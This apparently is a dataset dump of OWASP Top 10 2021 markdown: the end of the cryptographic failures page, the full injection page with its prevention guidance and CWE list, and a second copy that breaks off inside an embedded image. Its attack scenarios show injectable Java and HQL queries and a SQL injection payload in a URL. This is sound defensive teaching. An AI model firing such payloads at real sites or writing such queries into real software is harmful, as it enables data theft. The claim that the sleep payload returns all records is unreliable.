- [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)
- [OWASP Cheat Sheet: Cryptographic Storage](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)
- [OWASP Cheat Sheet: HSTS](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)
- [OWASP Testing Guide: Testing for weak cryptography](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README)
## List of Mapped CWEs
[CWE-261 Weak Encoding for Password](https://cwe.mitre.org/data/definitions/261.html)
[CWE-296 Improper Following of a Certificate's Chain of Trust](https://cwe.mitre.org/data/definitions/296.html)
[CWE-310 Cryptographic Issues](https://cwe.mitre.org/data/definitions/310.html)
[CWE-319 Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)
[CWE-321 Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html)
[CWE-322 Key Exchange without Entity Authentication](https://cwe.mitre.org/data/definitions/322.html)
[CWE-323 Reusing a Nonce, Key Pair in Encryption](https://cwe.mitre.org/data/definitions/323.html)
[CWE-324 Use of a Key Past its Expiration Date](https://cwe.mitre.org/data/definitions/324.html)
[CWE-325 Missing Required Cryptographic Step](https://cwe.mitre.org/data/definitions/325.html)
[CWE-326 Inadequate Encryption Strength](https://cwe.mitre.org/data/definitions/326.html)
[CWE-327 Use of a Broken or Risky Cryptographic Algorithm](https://cwe.mitre.org/data/definitions/327.html)
[CWE-328 Reversible One-Way Hash](https://cwe.mitre.org/data/definitions/328.html)
[CWE-329 Not Using a Random IV with CBC Mode](https://cwe.mitre.org/data/definitions/329.html)
[CWE-330 Use of Insufficiently Random Values](https://cwe.mitre.org/data/definitions/330.html)
[CWE-331 Insufficient Entropy](https://cwe.mitre.org/data/definitions/331.html)
[CWE-335 Incorrect Usage of Seeds in Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/335.html)
[CWE-336 Same Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/336.html)
[CWE-337 Predictable Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/337.html)
[CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/338.html)
[CWE-340 Generation of Predictable Numbers or Identifiers](https://cwe.mitre.org/data/definitions/340.html)
[CWE-347 Improper Verification of Cryptographic Signature](https://cwe.mitre.org/data/definitions/347.html)
[CWE-523 Unprotected Transport of Credentials](https://cwe.mitre.org/data/definitions/523.html)
[CWE-720 OWASP Top Ten 2007 Category A9 - Insecure Communications](https://cwe.mitre.org/data/definitions/720.html)
[CWE-757 Selection of Less-Secure Algorithm During Negotiation('Algorithm Downgrade')](https://cwe.mitre.org/data/definitions/757.html)
[CWE-759 Use of a One-Way Hash without a Salt](https://cwe.mitre.org/data/definitions/759.html)
[CWE-760 Use of a One-Way Hash with a Predictable Salt](https://cwe.mitre.org/data/definitions/760.html)
[CWE-780 Use of RSA Algorithm without OAEP](https://cwe.mitre.org/data/definitions/780.html)
[CWE-818 Insufficient Transport Layer Protection](https://cwe.mitre.org/data/definitions/818.html)
[CWE-916 Use of Password Hash With Insufficient Computational Effort](https://cwe.mitre.org/data/definitions/916.html)
|
A03_2021-Injection.md | ./Top10/2021/docs/A03_2021-Injection.md | # A03:2021 – Injection ![icon](assets/TOP_10_Icons_Final_Injection.png){: style="height:80px;width:80px" align="right"}
## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 33 | 19.09% | 3.37% | 7.25 | 7.15 | 94.04% | 47.90% | 274,228 | 32,078 |
## Overview
Injection slides down to the third position. 94% of the applications
were tested for some form of injection with a max incidence rate of 19%, an average incidence rate of 3%, and 274k occurrences. Notable Common Weakness Enumerations (CWEs) included are
*CWE-79: Cross-site Scripting*, *CWE-89: SQL Injection*, and *CWE-73:
External Control of File Name or Path*.
## Description
An application is vulnerable to attack when:
- User-supplied data is not validated, filtered, or sanitized by the
application.
- Dynamic queries or non-parameterized calls without context-aware
escaping are used directly in the interpreter.
- Hostile data is used within object-relational mapping (ORM) search
parameters to extract additional, sensitive records.
- Hostile data is directly used or concatenated. The SQL or command
contains the structure and malicious data in dynamic queries,
commands, or stored procedures.
Some of the more common injections are SQL, NoSQL, OS command, Object
Relational Mapping (ORM), LDAP, and Expression Language (EL) or Object
Graph Navigation Library (OGNL) injection. The concept is identical
among all interpreters. Source code review is the best method of
detecting if applications are vulnerable to injections. Automated
testing of all parameters, headers, URL, cookies, JSON, SOAP, and XML
data inputs is strongly encouraged. Organizations can include
static (SAST), dynamic (DAST), and interactive (IAST) application security testing tools into the CI/CD
pipeline to identify introduced injection flaws before production
deployment.
## How to Prevent
Preventing injection requires keeping data separate from commands and queries:
- The preferred option is to use a safe API, which avoids using the
interpreter entirely, provides a parameterized interface, or
migrates to Object Relational Mapping Tools (ORMs).<br/>
**Note:** Even when parameterized, stored procedures can still introduce
SQL injection if PL/SQL or T-SQL concatenates queries and data or
executes hostile data with EXECUTE IMMEDIATE or exec().
- Use positive server-side input validation. This is
not a complete defense as many applications require special
characters, such as text areas or APIs for mobile applications.
- For any residual dynamic queries, escape special characters using
the specific escape syntax for that interpreter.<br/>
**Note:** SQL structures such as table names, column names, and so on
cannot be escaped, and thus user-supplied structure names are
dangerous. This is a common issue in report-writing software.
- Use LIMIT and other SQL controls within queries to prevent mass
disclosure of records in case of SQL injection.
## Example Attack Scenarios
**Scenario #1:** An application uses untrusted data in the construction
of the following vulnerable SQL call:
```
String query = "SELECT \* FROM accounts WHERE custID='" + request.getParameter("id") + "'";
```
**Scenario #2:** Similarly, an application’s blind trust in frameworks
may result in queries that are still vulnerable, (e.g., Hibernate Query
Language (HQL)):
```
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");
```
In both cases, the attacker modifies the ‘id’ parameter value in their
browser to send: ' UNION SLEEP(10);--. For example:
```
http://example.com/app/accountView?id=' UNION SELECT SLEEP(10);--
```
This changes the meaning of both queries to return all the records from
the accounts table. More dangerous attacks could modify or delete data
or even invoke stored procedures.
## References
- [OWASP Proactive Controls: Secure Database Access](https://owasp.org/www-project-proactive-controls/v3/en/c3-secure-database)
- [OWASP ASVS: V5 Input Validation and Encoding](https://owasp.org/www-project-application-security-verification-standard)
- [OWASP Testing Guide: SQL Injection,](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection) [Command Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection),
and [ORM Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.7-Testing_for_ORM_Injection)
- [OWASP Cheat Sheet: Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)
- [OWASP Cheat Sheet: SQL Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
- [OWASP Cheat Sheet: Injection Prevention in Java](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html)
- [OWASP Cheat Sheet: Query Parameterization](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html)
- [OWASP Automated Threats to Web Applications – OAT-014](https://owasp.org/www-project-automated-threats-to-web-applications/)
- [PortSwigger: Server-side template injection](https://portswigger.net/kb/issues/00101080_serversidetemplateinjection)
## List of Mapped CWEs
[CWE-20 Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)
[CWE-74 Improper Neutralization of Special Elements in Output Used by a
Downstream Component ('Injection')](https://cwe.mitre.org/data/definitions/74.html)
[CWE-75 Failure to Sanitize Special Elements into a Different Plane
(Special Element Injection)](https://cwe.mitre.org/data/definitions/75.html)
[CWE-77 Improper Neutralization of Special Elements used in a Command
('Command Injection')](https://cwe.mitre.org/data/definitions/77.html)
[CWE-78 Improper Neutralization of Special Elements used in an OS Command
('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html)
[CWE-79 Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html)
[CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page
(Basic XSS)](https://cwe.mitre.org/data/definitions/80.html)
[CWE-83 Improper Neutralization of Script in Attributes in a Web Page](https://cwe.mitre.org/data/definitions/83.html)
[CWE-87 Improper Neutralization of Alternate XSS Syntax](https://cwe.mitre.org/data/definitions/87.html)
[CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')](https://cwe.mitre.org/data/definitions/88.html)
[CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')](https://cwe.mitre.org/data/definitions/89.html)
[CWE-90 Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')](https://cwe.mitre.org/data/definitions/90.html)
[CWE-91 XML Injection (aka Blind XPath Injection)](https://cwe.mitre.org/data/definitions/91.html)
[CWE-93 Improper Neutralization of CRLF Sequences ('CRLF Injection')](https://cwe.mitre.org/data/definitions/93.html)
[CWE-94 Improper Control of Generation of Code ('Code Injection')](https://cwe.mitre.org/data/definitions/94.html)
[CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')](https://cwe.mitre.org/data/definitions/95.html)
[CWE-96 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')](https://cwe.mitre.org/data/definitions/96.html)
[CWE-97 Improper Neutralization of Server-Side Includes (SSI) Within a Web Page](https://cwe.mitre.org/data/definitions/97.html)
[CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')](https://cwe.mitre.org/data/definitions/98.html)
[CWE-99 Improper Control of Resource Identifiers ('Resource Injection')](https://cwe.mitre.org/data/definitions/99.html)
[CWE-100 Deprecated: Was catch-all for input validation issues](https://cwe.mitre.org/data/definitions/100.html)
[CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')](https://cwe.mitre.org/data/definitions/113.html)
[CWE-116 Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)
[CWE-138 Improper Neutralization of Special Elements](https://cwe.mitre.org/data/definitions/138.html)
[CWE-184 Incomplete List of Disallowed Inputs](https://cwe.mitre.org/data/definitions/184.html)
[CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')](https://cwe.mitre.org/data/definitions/470.html)
[CWE-471 Modification of Assumed-Immutable Data (MAID)](https://cwe.mitre.org/data/definitions/471.html)
[CWE-564 SQL Injection: Hibernate](https://cwe.mitre.org/data/definitions/564.html)
[CWE-610 Externally Controlled Reference to a Resource in Another Sphere](https://cwe.mitre.org/data/definitions/610.html)
[CWE-643 Improper Neutralization of Data within XPath Expressions ('XPath Injection')](https://cwe.mitre.org/data/definitions/643.html)
[CWE-644 Improper Neutralization of HTTP Headers for Scripting Syntax](https://cwe.mitre.org/data/definitions/644.html)
[CWE-652 Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')](https://cwe.mitre.org/data/definitions/652.html)
[CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')](https://cwe.mitre.org/data/definitions/917.html)
| 10,221 | 0.009759 | # A03:2021 – Injection ![icon](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAlAAAAJQCAYAAABB4lpFAAAACXBIWXMAABcRAAAXEQHKJvM/AAAgAElEQVR4nO3debQkR2Hn+0hAaAVdIQQCgdVi/p0Z9bz3OGdYPGqD9xlDYxsvGNC9ZpHZrMYGIbG22CQhDC0zLBLYdIONbXlsWnjGxiymZWCYh2aepWf/O6hlgY0HPPQds0iDTc6pJepW5C8zoqIql8jM7+ccHeiIuJW3qq46v4rKqpvleW4AAACwugfwWAEAAMQhoAAAACIRUAAAAJEIKAAAgEgEFAAAQCQCCgAAIBIBBQAAEImAAgAAiERAAQAARCKgAAAAIhFQAAAAkQgoAACASAQUAABAJAIKAAAgEgEFAAAQiYACAACIREABAABEIqAAAAAiEVAAAACRCCgAAIBIBBQAAEAkAgoAACASAQUAABCJgAIAAIhEQAEAAEQioAAAACIRUAAAAJEIKAAAgEgEFAAAQCQCCgAAIBIBBQAAEImAAgAAiERAAQAARCKgAAAAIhFQAAAAkQgoAACASAQUAABAJAIKAAAgEgEFAAAQiYACAACIREABAABEehAPGAAA9XjcD1x/YHpDeW5v784vnbjmFA/v8GT53pMMAAAiPO4Hrt8yxhw0xhwyxlzqfOXe+fUuY8zRyT/E1HAQUAAArOFxT7n+oMnNEWPMxZVf7Z5jd40xh7904pojsg69Q0ABABDpcU+5frKjdPn0q0KnUT3P3maM2WY3qt8IKAAAIjzuKTccNSa/3PmK+IiavKx3gIjqL96FBwDAih73lBsOzXaeMvcLssDXZ7Jgcr3UiccduG5L1qIX2IECAGAFj3vKDfsm76ozxpy7t7pwDmUnajTYgQIAYDWH3XgyuvUkG00F7EQNBgEFAMBqDpavIqLGiIACACDgkqfecFB3n5YRUWNDQAEAELY/l+YpIqLGhIACACBsGjVEFCwCCgCAsP12BREFQ0ABALCK7MTyIiIKBBQAACtxI6f2iFJEVMIIKAAAwuY7ULERFUF3oQwRlS4+iRwAgBVc8tS3ndr7KIO9c2cWPI1u/Gnlhk8sTw87UAAArOZI2aoWrocy7ESlh4ACAGA1k4Dana1s+HooIip5BBQAACu4+9NXTV4+295bSUSNGQEFAMCK7v70VceNMTt7q4mosSKgAACIcPenrzpKRIGAAgAgEhEFAgoAgDUQUeNGQAEAsCYiarwIKAAANkBEjRMBBQDAhoio8SGgAACoARE1LgQUAAD1uXPv08qNVBARNRwEFAAANbjkqW/bPwmXvV84bBFRQ0RAAQCwoUt+sCqeLCJqaAgoAAA2sIinrCqeLCJqSAgoAADWdMkP3ujuPJU2zLKGI6ocEdUAAgoAgDXsxVPm7jzVHlERynehDBFVPwIKAIBIl/xQYecpeqcopppqeSnPEFH1IqAAAIiwiCe55mn9l9tauh7KEFH1IaAAAFiR7DxVdsoqOrmo3BBR9SCgAABYgcRTqc1eyiOi+iPL83zsjwEANOKxB989OTkdMMbsn/2TT/68zxhz8dLx7jLGnDLGnDS5OTk5qd1720tP8IykJRhPcirNvX9U7oIscn3w9qvP9ZOfvwNfOnHNKZmBFwEFADV6zDPePQmkg8aY7cl/5euJUAaqpm83xhw1Jj9+720v4+TWoX0/9PZpPGUmL48nS55aImrICCgAqMFjnvHuyU7TIWPM04u3pidCGQhM58eMMYfvve1lJ2UtGmXjye48ZfrkhJ477x8VEdUXBBQAbOAxz3jP5AR7xJj8Mt+t6IlQBgLT0wFCqkX7fngeT7n7sh0RBUNAAcB6HvOT79kyuTlsjLly7wb8f5/qiVAGAtPTgd15RB2R9ajNIp7sNU+F54KIAgEFAJEe85PTXaej03cyyV+hMuDQE6EMBKYXA5NrpA5yfVT9JJ4sIgpL+BgDAIjwmJ98z/b85Hrp9KvkXeIy4NC3qctAYHoxMHnJ8ORjn/6u/fI1WFtlPJU8F7k+Od71MiDz/vX6s+Nfz0ccNIsdKABY0TyePli6Wv4qlQGH7ibIQGB6MTB5Se/Avbe97E75GkTZ9yO/Nr/mKe7dduxEjRM7UACwgsf81Hur48mU/de+DDh0N0EGAtOLgcnJ/gQ7UZtZxNPk8azemZlhJ2r0DAEFAGGLeKo+0czItAw49EQoA4FpIqoOTjxZRJRFRFXgJTwA8HjMT71XT66hvzdlWgYc+pKMDASmeTlvXaXxtCzyueblvPFgBwoAKjzmp967NX+3nXtyrf6v9fl8cMChuwkyEJgu7EQ9jZ2oVQTjybATtWS6E/XP2IlaIKAAoNrhxbvtiqpPNDMyLQMOPRHKwKrONRkRFbJSPFlDi6j1XZoTUQu8hAcAJS6avXT3F8FTT6Mv5/nX6rQzsGtyc+Dej/FyXtG+H33Hau+2K+r1y3m1vZQ3cVdmzIH/PvKX89iBAoBy00/69p5GTP07UVFrZdoZYCeqxCKeVnm3XVFyO1Exanspz7ATNUNAAUDBRT/9vgPzD6qc2jiiIujLMTIQmCaiqlz8o+/Yn8e+266o7Yjy6ux6qInRRxQBBQDqUPHksdHFDnIekgH3WDItA4FpIqro4qWdJ3ku/aGg6o4on3QvKjdjjyiugQKAJRf99Pv2GWPuno4U/n70nkpK1guZlgH3eDItA4FpromauPjH7DVP7gXj8nzGng8jnu8Bf7yBGes1UexAAYDr4OJPsbtQ/v9aLzljy4B7PJmWgcA0O1GLeJrdf4c8n3XvRC0Z8McbmLHuRBFQAODadv5ERPXWxT/2zv3GZIVrngqPrzxc8gCuT44VuG2ZJqJSxkt4ADB30U+/b/KX/zdKHw9ezuuVWTwtXzDuf8nKeT4bfCnP8HLeYLADBQB7DlQ+FuxE9YbGk9x/v95/vAE7UW0goADAyow/KIio5JXHUwmJmuJDJQ+eHxG1bBQRRUABwJ79sScOOfEG1guZlgH3eDItA4Hp4UbUxT8eiid/JMhzSUT5+e/v4COKgAKAPbO/7L3nBT1xyIk3sF7ItAy4x5NpGQhMDy+iFvGUVcWT5Y8EeS6JKD///R10RBFQALBn7y9673lBTxxy4g2sFzItA+7xZFoGAtPDiSjZeZL7WuSPBHkuiSg///0dbEQRUACwkF3qPBbe84KeOOTEG1gvZFoG3OPJtAwEpvsfURJPltzXIn8kyHNJRPn57+8gI4qAAgDHZicOOfEG1guZlgH3eDItA4Hp/kbUxT9+pDyeLLmvgQUSNcXlRJSX//4OLqIIKAAQRFTqEbUXT1l5PFlyXwMLJGqKy4koL//9nezwDiaiCCgA2HPX3v8dW0Q5JlGSbERd/G+LO0/+O0NE+dfrz45/ffj2q+UDiigCCgD2FD49eeAR5VubpRlRi3iSd9sF7mtgWhZI1BSXjzyifAL3dSgRRUABwJ6T+lj0K6KiyE3JfU0qor6vuPNU766bLpCoKS4fW0RVfqkK3NchRBQBBQB7SgLK6NnCf26Qk4eceAPrRWDaOZaslYHAtNzXJCLKxlMefLedDERNywKJmuLyvkdUjFqvh7IRdVwmeoKAAoA9J6ofi44jKuLgQ4uo7/t3Nzk7T/JYElGhAY9OLyqfPJaX/bMD1x2RiR7Icv9vVQaAUbnomTcH/lLc7DfXe08nkb/Vv2TAPZZMy0BgWu7r7uQXLt/7sZfdKV/bECeeQo/lxvc3sKDwRz1+5Pk08vnOfN+wTPm/d1V4bDd8bETgvmbGXPLfT1xTsQOcJnagAGBZZm7zPx4NvkQS+K91PZYMOHQ3QQYC03JfW92JKu48BXf1Br4T5SVr/d+76nwn6rAMJo6AAgDX8egTq8+wPiOqtYiSeFocP/B4Di2inGMF1sq0/3tXnUbU5Y/r2QXlBBQAuGYXtXr/ri/o/KJyGXCPJ9MyEJiWE2WjEVUZT4vjBx7PvkWUjxwrcNsy7f/eVacRdUBGEkZAAcCSr9x6xeSzoI6FH5OOLyqXaRlwjyfTMhCYlvvbSEQF42lx/MDj2XVExeDTyq1e/R5GAgoA1Ox6jMq/5y0iqs6I+r6f+PXV4mlx/MDj2XRE+Yz9gzY3vCaqDwgoACj4yq1XnFzsQhFR/oGaImoRT1ngd9vJtxN4PGuPqOq1emwiyqvnEUVAAUC5yS7U7nSGiPIPbBhRsvO0YXjI41nreVrue+DYvY6oY8ZkO87x/Ov1BgccUQQUAJSY70LtvbWaiPIPrBlREk+L25MD+tX4QaTJvzNPjtdIRB27+9NXbd/96auOthhRp2QuYQQUAFT4yq1XTD4h+fbFLBHlH4iMqO97WkU8LW5PDrgyeSzlpmQgaloWSNRseF+6jahpPNk/tBhRnt8EkB4CCgA8cpMdXLyUZ4gonZb7u1JELeIpq4indYz8gzZriignnqwWIuqeL524prVPuK8DAQUAHn9z6wtP5SY7QET5puX+eiNqPl698+TclhzMj4iSJb71hYHSeLIajqjefRI5vwsPAFbw6J+5ZX9mcvek3/DvC6s+15SvFzItA+7xZFoGAtNyf+V359l4ykx+ru9LxYa/Z04eS7k5GYialgXye+z8319Qnb83r2S9Mfmxuz9VHU/LLnnq27aNyT/oHE9uT27f98e7vvSZq0tjO2XsQAHACv7m1hfeyU5U3PQ8Nhc7Ucs7T7JTUve7tdiJkiWe9SvHk6l/J2ry79PKx04JO1AAEIGdqMjbnv1xcpI8ZIw5UnzZTnZK5PaKN89OlJccL7j+2N2feuVaAbPxTtRsh/Lglz5zda8uHrcIKACINPSI0pOgDASm4+6rnOQD64mowHo5XuX6Y3d/cr14suYR5YSx/vyUfnP3TOPpz67u1YXjy3gJDwAiDePlvGr6cowMBKbj7qu83BRYz8t5gfVyvNL1G8eTWbycN/0ddiv8/sjpNzf5d+amydf0OZ4MO1AAsL7e7UTJlAy4x5JpGQhMsxPl+6Mev7WdqFriqeiSp96wb7KrNPkny83k/188X3KXMWbywbTHJ/986c9e1asPzKxCQAHABpKLqPTfmedFRDUeUY3E0xjxEh4AbKCVl/NipP8ZUV7yclNgPS/nBdYX321HPNWGgAKADdUSUT7D+6BNLyKqzqJeOHbyk68gnmpEQAFADdaLqCWD/4wof0TI8YgouYVK4eeaeGoAAQUANZlE1OSTt52I8vKfVAUR5dfziNpI9X0/dvITxFMTCCgAqNFXbr3CjajK85pFRPkML6Kq6bE3vh6KeGoQAQUANSOiIm9f5gvH61tEefnvix577ftCPDWMgAKABswj6sjiloko/4DMF46XXER5dH1ReZYRTy3gc6AAoAGP/plbJiewD0Z/rtGQf29e6XS6nxMlj6XclAxETcsC+cym6u/N49jJP/1V4qkF7EABQM1sPJl1dk7YifJqfCdqiTyWclMyEDUtCzbfiSKeWkRAAUCNHv2zt2ybzDi/oZ6Iirx9mS8cr8V3s8ljKceSgahpWbB+RBFPLSOgAKAm03ia7zzpidB/olRElI88nj7D/4wo4qkDBBQA1MCJJ0tOhP4TpSKiVpb6O/MC07JAfnYqvz/iqSMEFABsqDSeLDkR+k+UamwRtTo+rTwjnjpEQAHABh79s+/fNiYrjydLToT+E6UaeET51ga+dMQRdezkx3+FeOoQAQUAa5rFk915CpwZ5UToP1GqfkVUFLkpIsr3x5x4SgIBBQBrePTPvV/ebSdnuiI5EfpPlCq1iKrGB23KQNS0LNj747F7iKckEFAAEGkaTxXvtisZ8E4nF1FR/AcnomQgaloWZMRTSggoAIjgxJMlJ0IZ8E63HVFefNCmX3cRdeyePyGeUkJAAcCKSuPJkhOhDHinG48o51gBRJRf+xFFPCWIgAKAFTz65z4Q/W67kgHvdKefsB1YL2RaBtzjybQMBKZHG1HH7vmTlxNPCSKgACBgFk/rvduuZMA7LSd+r9QuKpcB93gyLQOB6dFFFPGUMAIKADwe9fMf2M43fLddycDqur6onIjyay6iiKfEEVAAUGEST3bnqdFP2O74onI56QfWC5mWAfd4Mi0DgenBRxTx1AMEFACUWI4nq9ZP2A5ME1GRty/zheP1J6KO3fPHxFMfEFAAUFAWT2uRc6QMeKeJqMjbl/nC8ZKLKEE89QgBBQBLHvWs3/DGU+0n/cA0ERV5+zJfOF7LEeXnrCWeeoaAAoC5RTwFToJEVOAGZVoG3OPJtAwEphOLKOdYxdsqHSCeeoiAAoCynafASZOICtygTMuAezyZloHAdMMRFSPupTziqacIKACjJ/FkBSKBiArcoEzLgHs8mZaBwPSGEeXTzPVQx+7540PEU08RUABGrTKerMCJk4gK3KBMy4B7PJmWgcC0DKyu3YvKiaeeI6AAjFYwnqzAiZOICtygTMuAezyZloHVBb60o3fmHbvnPxFPfUdAARilR/3Cb8Z9VEHgxElEBW5QpmXAPZ5/OnBTiV1U7q4nngaCgAIwOot4qvkt6nrSl4HAtAx4p4ceUVFrZTrJiDr218TTYBBQAEZFdp6IKL+6IyrCwD7egHgaGAIKwGhIPFlElF9sRPnIsWTAPZZMy0BgOomIOvbX//FK4mlgCCgAo3DhsyviySKi/AL3172twFqZlgFHzyOKeBooAgrA4Nl40hNxgf9EqALr9XgyEJiWAe904xHlHCsg8NjosWTAPZ5My0BgupOIIp4GjIACMGgXPvuDzs6TnogLyk+E1QLr9XgyEJiWAe90p5+wHVgvZFoG3OPJtAwEpluNKOJp4AgoAIO1F0+FE//YIsqr44vKZVoG3OPJtAwEpluJKOJpBAgoAINU3HkafET5dH1ReeCx0ePJgHs8mZaBwHSjEUU8jQQBBWBwNJ6svkeUR8cXlRNRU8f++o9+mXgaCQIKwKBc+JyqeLJ6FlExa4koWeOfrjWiiKeRIaAADMYingInwq4jKu62ggPe9YGTfgkiyqfi8SSeRoiAAjAIFz7naOETxkP3quGI8tBjyUBgWga80xUnfQ8iyqfweBJPI0VAAei9vXjaLBT0RLyBQCTosWQgMC0D3mkiKvL2Zb5wvNmCY3/9MeJprAgoAL0mO0+bhoIPH7TpN66IIp5GLsvzjX6rEQB0RuNpWe79o28y866dLI/8ezOwXo8nA4FpGfBOZ1GPTcmCyMfH3yG6Xsi0DLjHk2kZCEwH7+9t937sZQdlFKPCDhSAXrrwub54itWzd+bJtAx4p9mJ2uz2jTEHHvu0d+2XUYwKAQWgd1aLp4avhyKi/PoWUT76pecaY04QUeNGQAHoFSee9MRWQET5pscXUR6yNnhfiaiRI6AA9MYjn3tsOzeZu/OkJ7YCIso3PfSIilor00QUqhFQAHphEk9256nxkz4RFdBxREVo4Z15RNRIEVAAkvfIy49tm8y95omICk3LgHc6uYjykWPJgHssmZaBwDQRBUVAAUjaNJ4qrnkiokLTMuCdbjuivPr3GVFE1MgQUACS5cSTRUTJGv+0DHinm388l48VEHhs9Fgy4B5PpmUgME1EYQ8BBSBJpfFkEVGyxj8tA97p+MczwvA/rZyIGgkCCkByHnn5h7ZN8d12Rf2PqN2Y9Xo8GQhMy4B3Wh5Pr44vKpdpGXCPJ9MyEJgmokBAAUjMLJ7szpOemRz9jaidyadZJxdRPg1fD0VEoW8IKADJeOT2h+TddmVnJt90DyJq528/8ryjf/uR593ZSkTFaPuxJKLQYwQUgCRM46ni3XYlA97phCNqGk/2D/VFlIeslQHvNBEVefsyT0QNFQEFoHNOPFlyIpIB73SCEeXEk7VuRPm+FyHTMuCdJqIib1/miaghIqAAdKo0niw5EcmAdzqhiNr529/+RYknqzKiPPRYMhCYlgHvNBEVefsyT0QNDQEFoDOP3Pnwtsni3m1XMuCdTiCivPFklUZUIBL0WDIQmJYB7zQRFXn7Mk9EDQkBBaAT03haXPOkZxqHTMuAd7rtiFqyUjxZRJTeXyIKqSKgALTuETsf3s7lmic907jzwQHv+lY/YXu2NiqeLCJK7y8RhRQRUABa9YilnSc5MSYXUTGcG1srniwiSu+v/KwE1guZlgH3eDItA4FpGSgionqOgALQmuV4suTE2HZEea0VCTtf/a3148kiovT+ys9KYL2QaRlwjyfTMrC68i8lonqMgALQirJ4suTEWHdE+dR70q8lniwiSu+v/KwE1guZlgH3eP7pwE2tdF+JqJ4ioAA07hG/+FvBd9vJiTH6ROjRzkl/56u/tVNbPFlElN5f+VkJrBcyLQMegbUyTUQNFQEFoFHTeFrx3XZyYgysLyyWEd90zSf9RuLJIqL0/srPSmD9Jlq4qNwQUf1DQAFojBNPVo0nNj0RyYB3uqaTfqPxZBFRen+DEeUjx5IB91gyLQOBaSJqaAgoAI0ojacVyEkxEAl6IpIB7/SGJ/1W4skioiIFHhs9lgw4iCgsI6AA1O4RzwvEU+DE1pOI2vnqh9uLJ2sUEeUz/M+IMkRUPxBQAGq1iKfyE8OewIlNToyB9Xo8GfBOR570O4kna5gRFbGWiEICCCgAtXnE837b3XkqPzHsCZzY5MQYWK/HkwHv9Ion/Z2vfni7s3iy+hBRcTq+qFymZcA9nkzLQGCaiOo7AgpALfbiabMTYZGcGAPr9Xgy4J0ORFQS8WQlGVHLx/I/liWIqBJEVKIIKAAbk52nYUZUUvFktRJRMeq+HoqIMkRUmggoABvReLIGFVFJxpNVT0R5yFoZ8E4TUZG3L/NTRFRiCCgAa7vg+VXxZA0iona++qF048laJ6JcgbUyLQPeaSIq8vZlfoqISggBBWAtNp70xFHU64jqRTxZpRHloc+dDASmZcA7TURF3r7MTxFRiSCgAES74PkfcXae9MRR1MuI2vm7D13em3iyJKICj40+dzIQmJYB7zQRFXn7Mj9FRCWAgAIQZS+eCieq8r/ol/QqonoZTxYRRUSheQQUgJUVd54GGlE7f3esv/FkEVFEFJpFQAFYicaTNaiIGkQ8WURU3yNqJURURwgoAEEXvKAqnqxBv5zXa0RUzyLKt7b6S21E7ZMZNIaAAuC1iKfqv7znBhFRH3zk5ce2ZW3PEVHdRlQUuamoiDouo2gMAQWg0gUv+J24323Xt4gqR0SVPncyEJiWAe90/yOqWkvXQ01c+tinveuwjKIRWZ4Hf4wAjJAbT4W/J4J/bbgLssj1wdsP/L3lnF8Ca/VYi4FBXQ9lPepZvzG5VubEfMci/FjKtAwEpmXAO51t+LMW+7NT3SLl6/3HkgH3WDItA4Hple/rJfd+7GUnZRS1YgcKgLjghb/jfbdd6jtRUWtlejHATlTpcycDgWkZ8E4ntxPlI8eSAfdYMi0DgemV7+vgwj9FBBQAxyKe5C/nxCLKQ06KgUjQYxFRy/S5k4HAtAx4pxuPqBiBx0aPJQOOliLqssc+7V0HZBS1IqAALMjOk/zl3HRERQic2Igov8FHlM84PiPqkIygVlwDBWBK4mmZ/DWx/nUqeh1I9dqyP4rA32Fybgms1+NxTdQyff5kIDAtA97puGuiOrweqvR4MuAeT6ZlIDAdvL9cC9UgdqAAmIe/8Her48mUnVnWf8lE/+t7w9sO7A7IO